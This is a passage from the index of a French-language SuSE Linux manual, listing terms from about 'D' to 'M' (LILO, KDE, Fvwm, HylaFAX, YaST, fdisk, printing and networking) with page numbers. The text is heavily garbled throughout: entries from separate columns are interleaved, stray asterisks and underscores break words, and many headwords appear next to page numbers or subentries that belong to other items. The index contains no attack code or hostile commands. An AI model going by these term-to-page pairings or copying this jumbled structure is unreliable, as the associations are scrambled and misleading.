. . . . . . . . . * *. . . . . . . 506 à partir de disquette . . . . . 57 Disquette d'amorçage . . . . 122 editres . . . . . . . . . . . .* * . . . . . 287 Démon . . . . . . . . . . . . . . . . . 514 Création avec dd . . . . . . . 58 Effacer named . . . . . . . . . . . . . . . 457 générer (avec LILO) . . . 132 Fichier . . . . . . . . . . .* * . . . . 490 nscd . . . . . . . . . . . . . . . . . 457 Installer avec . . . . . . . . . . . 29 Répertoire . . . . . . . . . * *. . . 486 routed . . . . . . . . . . . . . . . . 457 Disquette de secours . . . . . 438 EIDE, chipsets . . . . . . . . .* * . 376 rwhod . . . . . . . . . . . . . . . . 457 Disquettes d'amorçage ELF . . . . . . . . . . . . . .* * . . . . . 515 Démon cron . . . . . . . . . . . . 461 Créer avec Setup . . . . . . . 57 emacs . . . . . . . . . . . * *. . . . 9, 514 démon kerneld . . . . . . . . . . 448 DNS . . . . . . . . . . . . . . . . . . . 455 Emacs 4, 9, 70, 210, 409, 420, Démon kerneld . . . . . 361, 453 Timeout . . . . . . . . . . . . . . 413 443, 517 Démon RPC mount . . . . . . 167 doc . . . . . . . . . . . . . . . . . . . . 481 Email . . . . . . . . . . . . . * *. . . . . 171 Démon RPC NFS . . . . . . . 167 docbkdsl . . . . . . . . . . . . . . 410 emm386.exe . . . . . . 44, 50, * *51 Démon Secure Shell . . . . . 459 DocBook . . . . . . . . . . . . . . . 410 emu10k1 . . . . . . . . . . . .* * . . . 305 Désinstallation dochost . . . . . . . . . . . . . . . . . . 69 Encryptage . . . . . . . . . . * *. . . 515 LILO . . . . . . . . . . . . . . . . 130 dochost . . . . . . . . . . . 436, 437 Enlightenment . . . . . . 267, 2* *69 Déterminer la langue . . . . . 83 Documentation . . . . . . . 8, 435 Entrée . . . . . . . . . . . . .* * . . . . . 483 Daemon . . . . . . . . . . . . . . . . 514 Fichier . . . . . . . . . . . . . . . . . 9 Entrée/sortie standard . . . . 5* *15 Dateisystem Lire . . . . . . . . . . . . . . . . . . . . 9environnement chroot . . . . . * *93 TeX . . . . . . . . . . . . . . . . . . 423 Serveur pour la Environnnement . . . . . . . . * *515 DB2 . . . . . . . . . . . . . . . . . . . 460 documentation . . . . . . 458 Erreur . . . . . . . . . . . . .* * . . . . . 544 DCF77 . . . . . . . . . . . . . . . . . 459 docview Ethernet . . . . . . . . . . . .* * . . . . 516 DE203 . . . . . . . . . . . . . . . . . 386 SuSEFax . . . . . . . . . . . . . 216 EtherTeam 16i/32 . . . . . . . * *388 DE204 . . . . . . . . . . . . . . . . . 386 Domaine . . . . . . . . . . . . . . . 162 Eumex 322 PCi . . . . . . . . .* * 196 DE205 . . . . . . . . . . . . . . . . . 386 Domaine DNS . . . . . . . . . . 166 Eumex 404 PC . . . . . . . . . .* * 196 DEC . . . . . . . . . . . . . . . . . . . 239 Domaine NIS . . . . . . . . . . . 166 Explorer . . . . . . . . . . . .* * . . . . . 64 defrag . . . . . . . . . . . . . . . . . . . 55 DOS . . . . . . . . . . . . . . . . . . . 500 Exporter . . . . . . . . . . . .* * . . . . 167 572 ___________________________________________________________________________________________________________________________I* *ndex__________________ exports . . . . . . . . . . . . . . . . . 168 Fichier texinfo . . . . . . . . . . . . 9 Partition . . . . . voir Part* *ition, EXT2 . . . . . . . . . . . . . . . . . . 516 Fichier texte Formatage Lire . . . . . . . . . . . . . . . . . . . . 9Formater des disquettes . . . 58 F Fichiers Formation . . . . . . . . . . . * *. . . 563 FAI . . . . . . . . . . . . . . . . . . . . 516 Attributs . . . . . . . . . . . . . 490 Formation Linux . . . . . . . . * *563 FAQ . . . . . . . . . . . . . . . . . . . 541 cachés . . . . . . . . . . . 490, 535 Fortify . . . . . . . . . . . . * *. . 69, 413 FAT32 . . . . . . . . . . . . . . . . . . . 56 Droits d'accès . . . . . . . . 490 Fréquence horizontale . . . 253 Fax Impossible de déplacer . . 59 Fréquence verticale . . . . . . * *253 Hylafax . . . . . . . . . . . . . . 459 Recherche . . . . . . . . . . . . . 98 fr_howto . . . . . . . . . . . * *. . . . . 9 Fax série Fichiers cachés . . . . . . . . . . 490 free . . . . . . . . . . . . * *. . . . . . . 496 SuSEFax . . . . . . . . . . . . . 219 Fichiers core . . . . . . . . . . . . 496 Free Software Foundation fax2ps . . . . . . . . . . . . . . . . . 216 Fichiers de configuration . 158 (FSF) . . . . . . . . . .* * . . . . 517 faxcover . . . . . . . . . . . . . . . . 220 Fichiers temporaires Freecom . . . . . . . . . . . . * *. . . . . 62 faxcover . . . . . . . . . . . . . . 220 Effacement . . . . . . . . . . . 462 Frequently Asked Questions . . FaxCovergen.class . . . . . . 220 file . . . . . . . . . . . . . . . . . . . . . 340 541 FaxCovergen.class File d'impression fsck . . . . . . . . . . . . . .* * . . . . . . . 77 SuSEFax . . . . . . . . . . . . . 220 Définition . . . . . . . . . . . . 334 FSSTD . . . . . . . . . . . . . * *. . . . 423 faxgetty . . . . . . . 222, 223, 227 File de réception . . . . . . . . 218 fstab . . . . . . . . . . . . . * *. . . . . . 500 faxmodem . . . . . . . . . . . . . . 222 File Transfer Protocol . . . . 221 ftape . . . . . . . . . . . . . * *. . . . . . 314 faxprint . . . . . . . . . . . . . . 221 Files . . . . . . . . . . . . . . . . . . . 260 ftp . . . . . . . . . . . . 106,* * 173, 535 faxq . . . . . . . . . . . . . . . . . . . 222 Files d'impression FTP . . . . . . . . . . . . . . * *. . . . . . 516 faxsetup . . . . . . . . . . . . . . . . 459 avec apsfilter . . . . . . . . . 341 Anonymes FTP . . . . . . . 4* *14 fdisk . . . . 55, 56, 75, 122, 130, Utilisation de . . . . . . . . . 335 Client . . . . . . . . . . . * *. . . . . 516 132, 136, 137, 438, 440, Filtrage de paquets . . . . . . 201 Serveur . . . . . . . . . . * *. . . . 516 441 Filtre de paquets . . . . . . . . 201 ftpdir . . . . . . . . . . . . * *. . . . 423 mbr . . . . . . . . . . . . . . . . . . 131 Filtres Fujitsu FMV-181/182/183/184 FEATURE . . . . . . . . . . . . . . . 341 apsfilter . . . . . . . . . . . . . . 340 387 Fenêtre . . . . . . . . . . . . . . . . . 516 Configuration apsfilter . 341 Future Domain . 374, 375, 384 Fenêtre de terminal . . . . . . 543 d'impression . . . . . . . . . . 339 fvwm . . . . . . . . . . . . . * *. . . . . 249 fetchnews . . . . . . . . . . 208, 210 Filtres d'impression . . . 338 Fvwm vii, 267, 268, 270, 277, fhs . . . . . . . . . . . . . . . . . . . . 423 Filtres d'impression . 338, 339 282~285 Fichier . . . . . . . . . . . . . . . . . 516 apsfilter . . . . . . . . . . . . . . 340 Fvwm . . . . . . . . . . . .* * . . . 277 . . . . . . . . . . . . . . . . . . . . . 492 Configuration apsfilter . 341 Caractères . . . . . . . . . * *. . . 279 .tar.gz . . . . . . . . . . . . . 492 pour imprimantes réseau . . . Configuration . . . . . . . .* * . 278 .tgz . . . . . . . . . . . . . . . . . 492 346 Configuration des couleurs . Archivage . . . . . . . . . . . . 492 find . . . . . . . . . . . . . . . . . . . . 440 279 Attributs . . . . . . . . . 487, 492 find . . . . . . . . . . . . . . . . . . . 491 Configuration des polices . . Commandes . . . . . . . . . . 486 finger . . . . . . . . . . . . . . . . . . 535 279 Copier . . . . . . . . . . . . . . . 490 fips . . . . . . . . . . 35, 54, 64, 546 Configurer . . . . . . . . . * *. . . 278 Déplacer . . . . . . . . . . . . . 490 fips.exe . . . . . . . . . . . . . . 55, 56 Couleurs . . . . . . . . . .* * . . . 279 Droits d'accès . . . . . . . . 487 Firewall . . . . . . . 201, 476__, 545 Curseur . . . . . . . . . . * *. . . . 281 Effacer . . . . . . . . . . . . . . . 490 Filtre de paquets Firewall . . Paramétrer . . . . . . . . . .* * . . . 281 Explorer . . . . . . . . . . . . . . 491 476 Démarrage . . . . . . . 277, * *278 Lien . . . . . . . . . . . . . . . . . 491 firewals . . . . . 202, 473, 476 Démarrage trop lent . . . 284 Rechercher . . . . . . . . . . . 491 Floppy . . . . . . . . . . . . . . . . . 379 Fichiers de configuration . .* * . Renommer . . . . . . . . . . . 490 Florian La Roche . . . . . . . . . 10 277 Fichier de configuration . . 451 Focus . . . . . . . . . . . . . . . . . . 516 Généralement . . . . . . . . * *. 277 Fichier de traces (log) . . . . 462 Fonctionnement Icônes . . . . . . . . . . . * *. . . . . 280 Fichier FAQ . . . . . . . . . . . . . . . 9 HylaFAX . . . . . . . . . . . . . 221 Paramétrer . . . . . . . . . .* * . . . 280 Fichier FIFO . . . . . . . . . . . . 222 Format de paquetages . . . . 415 Image d'arrière-plan . . . 278 Fichier HOWTO . . . . . . . . . . 9 Format du papier Polices . . . . . . . . . . .* * . . . . 279 Fichier info . . . . . . . . . . . . . . . 9 SuSEFax . . . . . . . . . . . . . 216 Fvwm . . . . . . . . . . . . . .* * . . . . 278 Fichier README . . . . . . . . . 9 Formatage Fvwm1 . . . . . . . . . . . . 28* *2, 283 * * 573 Index _________________________________________________________________________________________________________________* *_______________________________________@ Fvwm1 . . . . . . . . . . . . . . 277 gnorpm . . . . . . . . . . . . . . . . 421 hosts . . . . . . . . . . . . .* * . 158, 159 fvwm2 . . . . . . . . . . . . . . . . . . 277GNU . . . . . . . . . . . . . . 443, 517 howto . . . . . . . . . . . . . * *. . . . . 330 Fvwm2 . . . . . . . 265, 268, 277 GNU Emacs . . . . . . . . . . . . 514 howtodeh . . . . . . . . . . . .* * . . 435 seeFvwm . . . . . . . . . . . . . 277 GNU Zip . . . . . . . . . . . . . . . 492 howtoen . . . . . . . . . . . .* * . . . . . 9 Fvwm95 . . 267, 270, 282~285 gnuhtml . . . . . . . . . . . . . . . 412 howtoenh . . . . . . . . . . . .* * . . 435 FvwmBanner . . . . . . . . . . . 278 GNU C/C++ Compiler . . . . . 4 HP 10/100 VG-AnyLAN . 388 FvwmIdent . . . . . . . . . . . . . 280 Goldstar, CD-ROM . 381, 390 HP Eloquence . . . . . . . . . .* * . . 69 GPL . . . . . . . . . . . . . . . 481, 549 HP PCLAN . . . . . . . . . . . .* * . 388 G gpm . . . . . . . . . . . . 42, 453, 544 HP PCLAN+ . . . . . . . . . . .* * 387 g3utils . . . . . . . . . . . . . . . 211 Gpm . . . . . . . . . . . . . . . . . . . 453 ht ://Dig . . . . . . . . . . . * *. . . . . 437 gcc . . . . . . . . . . . . . . . . . . . . 359 GPM . . . . . . . . . . . . . . . . . . . 453 htdig . . . . . . . . . . . . . * *. . . . . . . 69 GEM . . . . . . . . . . . . . . . . . . 518 grep . . . . . . . . . . . . . . . . . . . 440 htdig . . . . . . . . . . . . . * *436, 437 Gestion grep . . . . . . . . . . . . . . . . . . . 491http . . . . . . . . . . . . . * *. . . . . . . 173 Groupes . . . . . . . . . . . . . . 112 group . . . . . . . . . . . . . . . . . . 166 http-rman . . . . . 435, 436, 4* *58 Utilisateurs . . . . . . . . . . . 111 Groupes httpd . . . . . . . . . . . . . * *. . . . . . 458 Gestion d'énergie . . . . . . . 327 Gestion . . . . . . . . . . . . . . 112 hylafax . . . . . . . . . . . 21* *1, 220 Gestionnaire d'amorçage . 117 gs . . . . . . voir Ghostscript, 348 HylaFAX . . vi, 211, 217, 221__, boot.sys . . . . . . . . . . . . . . 119 gs . . . . . . . . . . . . . . . . . . . . . 101 221~223, 228 LILO . . . . . . . . . . . . . . . . 119 GS_RESOL . . . . . . . . . . . . . . 354 hyperref . . . . . . . . . . . .* * . . 410 OS/2 . . . . . . . . . . . . . . . . . 119 gs_x11 . . . . . . . . . . . . . . . . 216 Hypertexte . . . . . . . . . . .* * . . . . . 8 Windows NT . . . . . . . . . 119 gsview . . . . . . . . . . . . . . . . . 10 Gestionnaire d'impression(lpd) gtkndev . . . . . . . . . . . . . . . 411 I 337 gv . . . . . . . . . . . . . . . . . . . . . 216I-noeud . . . . . . . . . . . * *. . . . . 517 Gestionnaire de fenêtres . 516 gv . . . . . . . . . . . . . . . . . . . . . 481I-noeuds Configuration . . . . . . . . . 286 gv . . . . . . . . . . . . . . . . . . . . . 216 densité . . . . . . . . . . .* * . . . . 108 Configurer . . . . . . . . . . . . 110 gv . . . . . . . . . . . . . . . . . . 10, 216 Densité . . . . . . . . . . .* * . . . . . 91 Démarrage . . . . . . . . . . . 277 gzip . . . . . . . . . . . . . . . . . 47, 73 i4l . . . . . . . . . . . 108, 1* *76, 450 Fonctions . . . . . . . . . . . . . 268 gzip . . . . . . . . . . . . . . . . . . . 492i4ldoc . . . . . . . . . . . . * *176, 184 Fvwm . . . . . . . . . . . . . . . 277 i82365 . . . . . . . . . . . . * *. . . . . 324 théorie de base . . . . . . . . 265 H i82557/i82558 . . . . . . . . .* * . 387 Gestionnaire de files d'attente halt . . . . . . . . . . . . . . . . . . . . 449i-noeuds . . . . . . . . . . . * *. . . . . . 91__ HylaFAX . . . . . . . . . . . . . 222 Hans Lermen . . . . . . . . . . . . 10 IBM . . . . . . . . . . . . . . * *. . . 3, 522 gestionnaire de périphériques . Hans Reiser . . . . . . . . . . . . . . 90 IBM OS/2 . . . . . . . . . . . .* * . . 500 318, 319, 325 Harald König . . . . . . . . . . . . 10 IBM Thinkpad . . . . . . . . . .* * 380 Gestionnaire de paquetages . . hardsuse . . . . . . . . . . . . . . 474 ICL EtherTeam . . . . . . . . .* * 388 415 Hardware ICN . . . . . . . . . . . . . . * *. . . . . . 176 getty . . . . . . . . . . . . . . . . . . . 227 CardBus . . . . . . . . . . . . . . 317 Icons . . . . . . . . . . . . . * *. . . . . . 280 Ghostscript . . . . . . . . . . . . . 102 PC-Karten . . . . . . . . . . . . 317 Identification . . . . voir Mot* * de Ghostscript . . . . 101, 340, 347 Hauppauge WIN/TV . . . . 315 passe uniprint . . . . . . . . . . . . . . 349 hdparm . . . . . . . . . . . . . . . . . 329 Identifier . . . . . . . . . . * *. . . . . 262 GhostScript . . . . . . . . . . . . . 102 hfaxd . . . . . . . . . . . . . . . . . . 221 ifconfig . . . . . . . . . . . .* * 440, 455 ghostview . . . . . . . . . . . . . . 280 Hibernation . . . . . . . . . . . . . 327 ifport . . . . . . . . . . . . * *. . . . . . 326 Ghostview . . . . . . . . . . . . . . 481 HiSax . . . . . . . . . . . . . . . . . . 176 Image d'arrière-plan . . . . . 2* *78 GhostView . . . . . . . . . . . . . 216 HOME 270, 274, 287, 346, 524, imlibdev . . . . . . . . . . . .* * . . 411 GhostView . . . . . . . . . . . . . 216 527 Importer . . . . . . . . . . . .* * . . . . 167 glibc . . . . . 409~411, 438, 517 Horloges radio . . . . . . . . . . 459 Impression . . . . . . . . . . * *. . . 333 glibndev . . . . . . . . . . . . . . 411 host.conf . . . . . . . . . . . . . . . 160 à distance . . . . . . . . .* * . . . 339 glimpse . . . . . . . . . . . . . . . 412 alert . . . . . . . . . . . . . . . . . 159 Comptes . . . . . . . . . . * *. . . 346 gnlibsd . . . . . . . . . . . . . . . 411 multi . . . . . . . . . . . . . . . . . 159 lancer lpd . . . . . . . . .* * . . . 458 GNOME 4, 69, 267, 269, 282, nospoof . . . . . . . . . . . . . . 159 remote . . . . . . . . . . .* * . . . . 342 421 order . . . . . . . . . . . . . . . . . 159 Samba . . . . . . . . . . . * *. . . . 108 Compiler . . . . . . . . . . . . . 411 trim . . . . . . . . . . . . . . . . . . 159 Vue d'ensemble . . . . . . . * *333 GNOME Panel . . . . . . . . . . 283 HOSTNAME . . . . . . . . . . . 163 Imprimante 574 ___________________________________________________________________________________________________________________________I* *ndex__________________ Configuration . . . . . . . . . 101 Pilotes SCSI . . . . . . . . . . 362 Support . . . . . . . . . . * *. . . . . 83 Imprimante réseau . . . . voir inittab . . . . . . . . . . . . . . . . . . 445 Taille . . . . . . . . . . .* * . . . . . . 94 Imprimante réseau inn . . . . . . . . . . . . . . . 208, 410 Vérifier les paramètres . . 25 Machine Windows comme INN . . . . . . . . . . . . . . . . . . . 458 via FTP . . . . . . . . . . * *. . . . . 87 serveur d'impression 108 insmod . . . . . . . . . . . . 360, 361 via NFS . . . . . . . . . . .* * . . . . 85 Novell NetWare comme Paramètres . . . . . . . . . . . 367 YaST2 . . . . . . . . . . . * *. . . . . 18 serveur d'impression 108 Installation Installation des paquetages 96 Paramètres du noyau . . 382 Écran d'accueil . . . . . . . . 16 Installer X . . voir Installati* *on, Port parallèle voir Matériel, À partir du disque dur . . . 46 installer X Port parallèle à partir d'une partition du Insure++ . . . . . . . . . . . * *. . . . . 69 Terminer l'impression . 337 disque dur . . . . . . . . . . 84 Intégrer la souris . voir YaST2, Imprimante réseau Abandon de la première intégrer la souris Configuration . . . . . . . . . 107 installation . . . . . . . . . . 64 Intégrer le clavier . . . . . . * *. voir Imprimantes avec YaST1, mode texte . 28 YaST2, intégrer le clavier Démon . . . . . . . . . . . . . . . 337 Avec YaST2 . . . . . . . . . . . 15 Intel EtherExpress 16 . . . . 386 Imprimantes GDI . . . . . 354 Choisir le disque dur . . . . 20 Intel EtherExpressPro . . . . 387 Lexmark . . . . . . . . . . . . . 354 Choisir les logiciels . . . . . 21 Intel EtherExpressPro 100 387 Liste de contrôle . . . . . . 354 Configurer le démarrage du Interface . . . . . . . . . . .* * . . . . 517 supportées . . . . . . . . . . . . 349 système . . . . . . . . . . . . . 23 Interface graphique . . . . . . * *518 Windows only . . . . . . . . 354 Configurer les composants Interfaces Imprimantes GDI . . . . . . . 354 du système . . . . . . . . . . 26 parallèles . . . . . . . . . * *. . . . 333 Imprimantes réseau . . . . . . 338 Connexion après installation Internet . . . . . . . . . . . .* * 518, 543 Préfiltrage . . . . . . . . . . . . 346 27 Configurer PPP . . . . . . .* * 190 Imprimer Créer un compte utilisateur . PPP et les utilisateurs . . 1* *93 horizontal . . . . . . . . . . . . 341 24 Internet Services Daemon Novell NetWare . . . . . . . 108 d'un répertoire . . . . . . . . . 86 inetd . . . . . . . . . . . .* * . . . . . 456 Noyau 2.2.x . . . . . . . . . . 410 désinstaller les paquetages . xinetd . . . . . . . . . . . * *. . . . . 456 Serveur d'impression . . 338 415 Interpréteur de commandes . . . Inclure des partitions Windows Depuis... . . . . . . . . . . . . . . 83 518 91 du CD-ROM . . . . . . . . . . . 84 Invite . . . . . . . . . . . . * *. . . . . . 518 Index de toutes les séries et FTP . . . . . . . . . . . . . . . . . . . 48 IP Forwarding . . . . . . . . .* * . 455 paquetages . . . . . . . . . . 98 Installer le gestionnaire IP-Masquerade inetcfg . . . . . . 184, 197, 198 d'amorçage . . . . . . . . . . 23 IP-Forwarding . . . . . . . * *. 455 inetd . 40, 106, 157, 163, 209, installer les paquetages 415 ipchains . . . . . . . . . . . .* * . . . . 473 436, 456, 475, 476, 479 Installer X . . . . . . . . . . . . . 26 IPv6 . . . . . . . . . . . . . * *. . . . . . 413 Inetd . . . . . . . . . . . . . . . . . . . 222 Lecteur de CD-ROM IPX . . . . . . . . . . . . . . * *. . . . . . 230 inf2htm . . . . . . . . . . . . . . . 436 connecté à son propre IRC . . . . . . . . . . . . . . * *. . . . . . 456 info . . . . . . . . . . . . . . . . 9, 443 contrôleur . . . . . . . . . . . 62 irda . . . . . . . . . . . . . .* * . . . . . 330 Info . . . . . . . . . . . . . 9, 443, 542 Lecteurs de IrDA . . . . . . . . . . . . . .* * . . . . . 330 Info (info ) . . . . . . . . . . . . . 443 CD-ROM-Laufwerk sur Imprimante . . . . . . . . . * *. . 331 Informations sur le système . . port parallèle . . . . . . . . 62 ISA PnP 429 LILO . . . . . . . . . . . . . . . . 130 Initialiser . . . . . . . . .* * . . . . 453 Informations sur les Mise à jour . . . . . . . . . . . . 19 isapnp . . . . . . . . . . . . .* * 294, 296 paquetages . . . . . . . . . . 96 Mot de passe root . . . . . . 24 isapnp . . . . . . . 294, 296, * *299 Informix . . . . . . . . . . . . . . . . . . 3 NFS . . . . . . . . . . . . . . . . . . 48 ISApnp . . . . . . . . . . . . * *. . . . 294 Infoviewer . . . . . . . . . . . . . . . . 9 paquetages . . . . . . . . . . . . . 97 ISDN . . . . . . . . . . . . . * *. . . . . 518 Infrared Data Association voir Partition DOS comme Configuration . . . . 173, 1* *75 IrDA source . . . . . . . . . . . . . . . 46 YaST . . . . . . . . . . . .* * . . . . 176 init x, 132, 440, 445~448, 522 PCMCIA . . . . . . . . . . . . . 326 isdn4linux . . . . . . . . . . .* * . 175 Scripts . . . . . . . . . . . . . . . 448 Plan préliminaire . . . . . . . 15 isdnctrl . . . . . . . . . . . .* * . . . . . 175 Init . . . . . . . . . . . . . . . . . . . . 221 Première installation . . . . 15 isdnlog . . . . . . . . . . . . * *. . . . . 179 initial ramdisk . . . . . . . . . . 424 Réseau comme source . . 48 ISP . . . . . . . . . . . . . .* * . . . . . . 519 initrd . . . . . . . . . . . . . . . . . . . 453 Sélectionner la langue . . 18 ISP16 . . . . . . . . . . . . .* * 381, 391 * * 575 Index _________________________________________________________________________________________________________________* *_______________________________________@ J LAN Manager . . . . . . 229, 500 Ligne de dépannage . . . . . 560 jade_dsl . . . . . . . . . . . . . . 409 Lance . . . . . . . . . . . . . . . . . . 379 LILO . . . . . . . . . . . . * *. . . . . . . 117 Jeu de widgets Qt LANG . . . . . . . . . . . . . . . . . . . 452 LILO . . . . . . . . . . . . . * *. . . . . 117 Licence . . . . . . . . . . . . . . 271 Langue LILO . ii, iv, v, 23, 24, 26, 3* *8, Job (Fax-) Paramétrer . . . . . . . . . . . . 452 45, 68, 91, 104~106, 117, SuSEFax . . . . . . . . . . . . . 215 Laptop . . . . . . . . . . . . . . . . . 317 119~124, 126~142, 323, joe . . . . . . . . . . . . . . . . . . . . . 514latex-cover . . . . . . . . . . . . . 220 361, 364, 365, 367, 368, john . . . . . . . . . . . . . . . . . . . 467 latex-cover . . . . . . . . . . . . . 220 370, 384, 407, 424, 425, jurix . . . . . . . . . . . . . . . . . . . . 10latex-cover . . . . . . . . . . 220 427, 432, 447, 467, 520, 534, 568 K LC_*LD.A.P.-.S.e.r.v.e.r. ..................452..458Amorçage d'OS/2 . . . . . 136 kardinfo . . . . . . . . . . . . . . . . 326 ldconfig . . . . . . . . . . . . . . . . 414 Amorçage de DOS/Win95 . kbatmon . . . . . . . . . . . . . . . . 329 ldp . . . . . . . . . . . . . . . . . . . . 435 134 KDE 4, 67, 69, 110, 173, 192, leafnode . . . . . . . 208~210, 412 Amorçage de Windows NT . 265, 267~271, 282, 407, leafnode . . . . . 208, 209, 410 135 421, 543 Leafnode . . . vi, 208 , 208, 209 Amorcer DOS et OS/2 . 137 Caractéristiques . . . . . . . 274 Lecteur CD-ROM se bl_____oque . . Désinstallation . . . . . . .* * . 130 Login . . . . . . . . . . . . . . . . 273 60 Disquette d'amorçage . 132 Système d'aide . . . . . . . . 271 Lecteur de CD-ROM . . . . 519 Exemples de configurations KDE Panel . . . . . . . . . . . . . 283 Installation . . . . . . . . . . . 100 134 KDEDIR . . . . . . . . . . . . . . . . 272 Port parallèle voir Matériel, Installation . . . . . . . .* * . . . 130 kdehelp . . . . . . . . 27, 271, 276 Port parallèle Paramètres . . . . . . . . .* * . . 367 kdm . . . . . . . 27, 109, 273, 408 se bloque . . . . . . . . . . . . . . 64 Problèmes . . . . . . . . . .* * . . 137 KDM . 43, 109, 269~271, 273, 1024 cylindres . . . . . . . . * *. 139 274 Supporté par Linux . . . . . 59 Diagnostic . . . . . . . . . . * *. . . 138 Kernel Lecteur de CD-ROM bloqué . . Message de démarrage . . 138 Sélection du noyau SMP . . . 62 Noyau à partir de 2.0 . . . 141 104 Lecteur de disquette . . . . . 379 Suppression . . . . . . . . * *. . 131 Kernel Module Loader . . . 361 Lecteur de disquettes . . . voir lilo.conf . . . . . . . . . . .* * 123, 124 Kernel panic . . . . . . . . . . . . . 38 Matériel, Lecteur de Kernel too big . . . . . . . . . . 363 disquettes Linus Torvalds . . 3, 6, 12, 519 kerneld . . . 360, 361, 453, 454 Lecteur LS120 . voir Matériel, linux . . . . . . . . . . . . . * *. . . . . . 10 kerneld . . . . . . . . . . . . . . . . 361 Lecteur LS120 Linux . . . . . . . 4, 221, 519,* * 526 kernmod . . 176, 302, 362, 413 Lecteur ZIP . . . . voir Matériel, Débuts . . . . . . . . . . . * *. . . . 481 kernmods . . . . . . . . . . . . . . 413 Lecteur ZIP Désinstaller . . . . . . . . * *. . . 131 Keyboard . . . . . . . . . . . . . . . 260 Port parallèle voir Matériel, Mise à jour . . . . . . . . * *. . . 403 kfm . . . . . . . . . . . 271, 274, 548 Port parallèle Supprimer . . . . . . . . . .* * . . 131 kill . . . . . . . . . . . . . . . . . . . . 199Lecteurs de bandes . . . . . voir Linux Documentation Project kill . . . . . . . . . . . . . . . . . . . 498 Matériel, lecteurs de 435 klipper . . . . . . . . . . . . . . . . . 276 bandes Linux initial . . . . . . . . .* * . . . 519 kmid . . . . . . . . . . . . . . . . . . . 305 Streamer . . . . voir Matériel, Méthodes d'amorçage . . 51 kmod . . . . . . . . . . . . . . . . . . 333 lecteurs de bandes Linux Standard Base . . . . 423 Kmod . . . . . . . . . 308, 361, 362 Lecteurs de CD-ROM linux.par . . . . . . . . . . .* * . . . . 143 knfsd . . . . . . . . . . . . . . . . . . 411 Port parallèle . . . . . . . . . . 59 linuxrc . . ii, 10, 28~32, 48, 4* *9, knfsd . . . . . . . . . . . . . 411, 457 less . . . . 9, 173, 440, 489, 495 53, 57, 326, 405, 410, korn . . . . . . . . . . . . . . . . . . . 276 lesstif . . . . . . . . . . . . . . . 282 425~433, 439 kpanel . . . . . . . . . . . . . 282, 329 Lettre de lecteur modifiée . 64 Linuxrc . . . . . . . . . . . . * *. 62, 154 KPanel . . . . . . . . . . . . 275, 276 libc . . . . . . . . . . . . . . 359, 420 Liste de recherche . . . . . . .* * 455 krpm . . . . . . . . . . . . . . . . . . . 421 libc5 . . . . . . . . . . . . . . . . . . . 438 (établir)la liste des fax série kvt . . . . . . . . . . . . . . . . . . . . . 190libcinfo . . . . . . . . . . . . . . 160 SuSEFax . . . . . . . . . . .* * . . 219 kwm . . . . . . . . . . 268, 270, 271 Lien . . . . . . . . . . . . . . . . . . . 519 Lizenz . . . . . . . . . . . . * *. . . . . 549 symbolique . . . . . . . . . . . 491 ln . . . . . . . . . . . . . . * *. . . . . . . 491 L Lien symbolique . . . . . . . . 491 loadlin ii, v, 44, 45, 50~53, 62, LAN . . . . . . . . . . 153, 239, 519 Ligne de commande . . . . . 519 63, 68, 117, 120, 140, 576 ___________________________________________________________________________________________________________________________I* *ndex__________________ 142~144, 295, 370, 406, Mémoire centrale . . . . . . . voir mdir . . . . . . . . . . . . . * *. . . . . . 503 424, 425, 430 Mémoire Memory . . . . . . . voir Mémoire Loadlin Mémoire de masse . . . . . . 520 Menu . . . . . . . . . . . . . * *. . . . . 521 ne démarre pas . . . . . . . . . 63 Mémoire de travail . . 496, 520 Menu de démarrage . . . . . 143 ne fonctionne pas . . . . . . . 63 MacOS . . . . . . . . . . . . . . . . . 526 Menu principal . . . . . . . . .* * . . 82 LoadLin . . . . . . . . . . . . . . . . . 10 MAD16 . . . . . . . . . . . 381, 391 Messages du système . . . . 543 loadlin.exe . . . 10, 51, 52, 119, Mail . . . . . . . . . . . . voir E-Mail Mettre à jour le système 425 makemap . . . . . . . . . . . . . . . 207 YaST . . . . . . . . . . . .* * . . . . 100 Local Area Network voir LAN makewhat . . . . . . . . . . . . . . 414 mformat . . . . . . . . . . . . * *. . . . 503 locale . . . . . . . . . . . . . . . . . . 452 makewhatis . . . . . . . . . . . . . 414 mgetty . . . . . . . . . . . . .* * 211, 227 locate . . . . . . . . . . . . . . . . . . 461 man . . . . . . . . . . . . . . . . . . . . . . 9mgetty . . . . . . . . . . . . * *211, 227 locate . . . . . . . . . . . . . . . . 461 Manpage . . . . . . . . . . . . . . . 520 Microsoft . . . . . . . . . . . * *. . . . 230 Logical Volume Manager . 93 MANPATH . . . . . . . . . . . 414, 527 Midnight Commander . . . 420, login . . . . . . . . . . . . . . 476, 541 Manuel . . . . . . . . . . . . . . . . . 494 548 Login . . voir KDE, login, 460 Manuel en ligne . . . . . . . . . 485 MIME . . . . . . . . . . . . . * *. . . . 521 à distance . . . . . . . . . . . . 462 Manuels . . . . . . . . . . . . . . . . . . 9 minicom . . . . . . 190, 200, 4* *09 PAM . . . . . . . . . . . . 411, 414 manyfaqs . . . . . . . . . . . . . . . . 9 Minicom . . . . . . . . . . . 19* *0, 200 Shell de login . . . . . . . . . 413 masque réseau . . . . . . . . . . 156 minicom -s . . . . . . . * *. . . . . 200 login : . . . . . . . . . . . . . . . . . . 482 Masque réseau . 156, 163, 478 Miro PC/TV . . . . . . . . . . .* * . 315 Login : . . . . . . . . . . . . . . . . . . 41 Masquerading . . . . . . 201, 545 Mise à jour . . . . . . . . . . * *. 6, 403 Logitech . . . . . . . . . . . . . . . 252 Massachusetts Institute of Inclure des paquetages . . 98 Logitech, souris bus . . . . . 380 Technology . . . . . . . . . 239 Installation . . . . . . . .* * . . . . 19 logout . . . . . . . . . . . . . . . . . . 482 Matériel Mise en réseau . . . . . . . . .* * . 153 logsurfer . . . . . . . . . . . . . . . 474 AGP . . . . . . . . . . . . . . . . . 293 MIT . . . . . . . . . . . . . .* * . . . . . 239 Loopback . . . . . . . . . . . . . . 454 Cartes enfichables . . . . . 293 Mitsumi FX-001(D) 381, 390 lpc . . . . . . . . . . . . . . . . . . . . . 336 Difficultés . . . . . . . . . . . . . 64 Mitsumi, CD-ROM . 381, 390 lpd . . 335, 337, 339, 346, 458 incorporer . . . . . . . . . . . . 293 mke2fs . . . . . . . . . . . . .* * . . . . . 64 lpq . . . . . . . . . . . . . . . . . . . . . 336 IrDA . . . . . . . . . . . voir IrDA mkfs . . . . . . . . . . . . . .* * . . . . . 440 lpq . . . . . . . . . . . . . . . . . . . . 336 ISA . . . . . . . . . . . . . . . . . . 293 mknod . . . . . . . . . . . . .* * . . . . 531 lpr . . . . . . . . . . . . 335, 340, 481 